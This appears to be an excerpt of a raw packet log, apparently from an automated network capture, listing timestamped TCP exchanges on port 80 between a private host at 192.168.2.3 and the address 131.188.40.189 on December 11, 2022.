Dec 11, 2022 09:25:07.840926886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840960979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841006041 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841039896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841048002 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.841073990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841087103 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.841108084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841156006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.841224909 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.841260910 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861180067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861226082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861275911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861310959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861341953 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861346960 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861382961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861418009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861432076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861454010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861496925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861496925 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861532927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861547947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861567974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861601114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861640930 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861643076 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861675024 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861677885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861713886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861757040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861788988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861789942 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861826897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861835003 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861861944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861896038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861912012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861928940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861942053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.861963987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.861996889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862045050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862075090 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862080097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862106085 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862116098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862150908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862194061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862222910 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862227917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862262964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862303019 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862306118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862340927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862344027 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862385988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862416029 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862428904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862462997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862504005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862534046 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862539053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862574100 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862612963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862615108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862652063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.862653017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.862709999 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883028984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883095980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883142948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883176088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883187056 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883209944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883254051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883287907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883297920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883321047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883336067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883357048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883390903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883404970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883424997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883469105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883500099 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883503914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883539915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883541107 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883574963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883620977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883655071 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883655071 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883678913 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883704901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883733034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883768082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883779049 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883802891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883836031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883836985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883868933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883913040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883946896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883963108 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.883980036 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.883991957 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.884013891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884047985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884066105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.884099960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.884711981 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884757996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884803057 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884836912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884844065 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.884872913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884917974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884951115 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.884953976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884983063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.884985924 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885020018 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885042906 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885066986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885099888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885143042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885175943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885180950 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885210037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885212898 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885253906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885283947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885298014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885332108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885375023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885409117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885409117 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885442972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885445118 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885488987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885508060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885544062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885545969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885577917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885612011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885648966 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885656118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885685921 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885690928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885725021 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885725975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885761976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885863066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885899067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885921001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885937929 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.885957956 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.885993004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886025906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886065006 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886070967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886095047 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886106014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886140108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886174917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886188984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886203051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886236906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886253119 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886270046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886276960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886303902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886404037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886434078 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886454105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886497974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886518955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886533022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886565924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886610031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886641979 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886643887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886683941 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886693954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886737108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886771917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.886773109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.886913061 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904206991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904253006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904288054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904321909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904341936 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904356956 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904375076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904392958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904426098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904462099 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904476881 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904498100 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904511929 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904532909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904582977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904616117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904616117 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904650927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904694080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904728889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904733896 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904762983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904803038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904813051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904829025 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904851913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904896975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904931068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.904932976 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.904966116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905000925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905006886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905035973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905070066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905090094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905103922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905118942 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905158997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905194044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905245066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905253887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905280113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905313015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905314922 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905349016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905385017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905391932 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905412912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905447006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905448914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905481100 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905513048 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905514002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905549049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905580997 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905586958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905613899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905647993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.905658960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.905850887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.906622887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906673908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906707048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906749964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906784058 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906785965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.906821012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906855106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906868935 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.906912088 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.906919003 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906955004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.906996965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907030106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907031059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907071114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907079935 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907115936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907150984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907176018 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907186031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907218933 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907222033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907267094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907289982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907315016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907325983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907362938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907373905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907408953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907452106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907479048 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907485962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907535076 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907562017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907577038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907602072 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907612085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907646894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907680988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907702923 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907715082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907721043 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907748938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907783031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907825947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907864094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907902956 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.907936096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.907948017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908054113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908077002 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908133984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908180952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908214092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908215046 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908283949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908315897 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908318043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908366919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908394098 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908411026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908446074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908488035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908523083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908526897 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908571959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908600092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908617020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908638000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908651114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908687115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908721924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908731937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908756971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908791065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908812046 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908824921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908847094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.908859968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908895016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.908956051 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.925565004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925615072 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925649881 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.925657988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925693035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925735950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.925770998 CET	80	49692	131.188.40.189	192.168.2.3
